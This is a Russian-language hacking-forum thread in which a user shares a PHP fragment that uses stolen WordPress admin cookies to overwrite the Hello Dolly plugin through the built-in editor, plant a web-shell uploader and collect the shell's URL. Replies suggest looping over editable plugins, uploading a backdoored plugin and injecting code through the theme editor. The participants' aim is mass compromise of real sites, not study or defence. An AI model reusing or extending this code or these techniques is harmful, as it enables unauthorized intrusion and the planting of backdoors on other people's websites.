HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 01.08.2022, 13:11
Storks
Guest
Сообщений: n/a
Провел на форуме:
1825

Репутация: 0
По умолчанию

Понадобился скрипт для заливки шеллов в вп, нашел свою старую наработку через плагин Hello Dolly, вот ключевой кусок который показывает концепцию

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/wp-admin/plugin-editor.php?file=hello.php'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$hello_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/wp-content/plugins/hello.php'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$plugin_editor[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/wp-admin/plugin-editor.php'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]extractFormData[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#FF8000"]//var_dump($data);
//var_dump($code);
//exit();
[/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$plugin_editor[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&newcontent='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_path[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#FF8000"]//var_dump($response);
[/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'~url:(.+)~'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#FF8000"]//echo $url;
[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]extractFormData[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&newcontent='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_dolly_text[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"])
return[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];[/COLOR][/COLOR
Суть ясна - меняем текст плагина на наш пхп код (в моем случае это заливщик который ищет папку на запись и выдает урл куда загрузился шелл). Года три назад пробив был нормальным в принципе, 10% шеллов с пачки админок получалось, сейчас это вообще не работает, практически ни один шелл не залился. Мб что-то поменялось с тех пор или waf стали настолько продвинутыми? Может есть какой-то более адекватный способ грузится?
 
Ответить с цитированием

  #2  
Старый 05.08.2022, 10:14
1NtR0
Участник форума
Регистрация: 14.04.2007
Сообщений: 197
Провел на форуме:
1122391

Репутация: 209
По умолчанию

Ничего не понятно .. А где функции curlPostCookies, curlGet,extractFormData?

Код:
Code:
$response = curlPostCookies($hello_edit, $data.'&newcontent='.urlencode($hello_dolly_text), $cookies );
А откуда взялся $hello_dolly_text ?

$cookies тоже где-то потерялись ))

Странно что этот код вообще что-то заливал
 
Ответить с цитированием

  #3  
Старый 05.08.2022, 21:13
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Цитата:
Сообщение от 1NtR0  
1NtR0 said:

Странно что этот код вообще что-то заливал
Цитата:
Сообщение от Storks  
Storks said:

вот ключевой кусок который показывает концепцию
он часть показал, сам смысл в том что он редактирует плагин через встроенный редактор. Ну вообще нужно бы пройтись по всем установленным плагинам и проверить у которого есть права на редактирование и потом править. Ну и так же прикрутить запасной вариант через загрузку нового плагина. Плюс можно код инжектить в саму тему через редактор тем.
 
Ответить с цитированием

  #4  
Старый 05.08.2022, 22:14
Storks
Guest
Сообщений: n/a
Провел на форуме:
1825

Репутация: 0
По умолчанию

Цитата:
Сообщение от b3  
b3 said:

он часть показал, сам смысл в том что он редактирует плагин через встроенный редактор. Ну вообще нужно бы пройтись по всем установленным плагинам и проверить у которого есть права на редактирование и потом править. Ну и так же прикрутить запасной вариант через загрузку нового плагина. Плюс можно код инжектить в саму тему через редактор тем.
Звучит как хороший план. А можно примеры с эксплойтом или кодом на?:
  1. проверку плагинов на записб
  2. загрузку своего плагина
  3. инжект через редактор тем

Если уже подобные методы обсуждались и обсасывались то это только плюс, потому что с нуля самому велосипед городить не хочется. ЯП не принципиален, я все равно под питон буду переписывать.
 
Ответить с цитированием

  #5  
Старый 08.08.2022, 16:19
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Цитата:
Сообщение от Storks  
Storks said:

А можно примеры с эксплойтом или кодом
мне лень писать) бери снифер, заходи в админку и снифай пакеты, там все очень банально и просто. заходишь в плагины, регуляркой собираешь из формы все имена плагинов, потом в каждый плагин заходишь и пытаешься редактировать файл/файлы.

Загрузка плагина тоже самое, гуглишь пустой плагин, вписываешь в него свой бэкдор или отстук и загружаешь паралельно снифая загрузку чтоб воссоздать это в коде на ЯП.
 
Ответить с цитированием

  #6  
Старый 09.08.2022, 13:18
Storks
Guest
Сообщений: n/a
Провел на форуме:
1825

Репутация: 0
По умолчанию

Цитата:
Сообщение от b3  
b3 said:

мне лень писать) бери снифер, заходи в админку и снифай пакеты, там все очень банально и просто. заходишь в плагины, регуляркой собираешь из формы все имена плагинов, потом в каждый плагин заходишь и пытаешься редактировать файл/файлы.
Загрузка плагина тоже самое, гуглишь пустой плагин, вписываешь в него свой бэкдор или отстук и загружаешь паралельно снифая загрузку чтоб воссоздать это в коде на ЯП.
спасибо, попробую.

Если кто-то подкинет еще идей или рабочий код будет тоже очень мило
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ